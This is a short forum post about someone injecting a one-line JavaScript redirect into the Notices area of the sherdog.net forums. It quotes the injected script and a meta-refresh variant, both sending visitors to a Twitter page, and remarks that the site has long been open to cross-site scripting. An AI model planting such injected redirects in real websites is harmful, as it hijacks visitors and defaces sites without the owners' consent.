This is a script kiddy. He added/injected this javascript (a whole 1 line) to the Notices area of sherdog.net...
Code:
<script type="text/javascript">
<!--
window.location = "http://twitter.com/mentalug/"
//-->
</script>
These forums have been vulnerable to Cross-Site Scripting and even XSRF for years. This is just a script injected to redirect to his twitter page. If he was smart (which he's not) then he would've used an HTML redirect instead...
Code:
<meta http-equiv="refresh" content="0;URL='http://twitter.com/mentalug/'">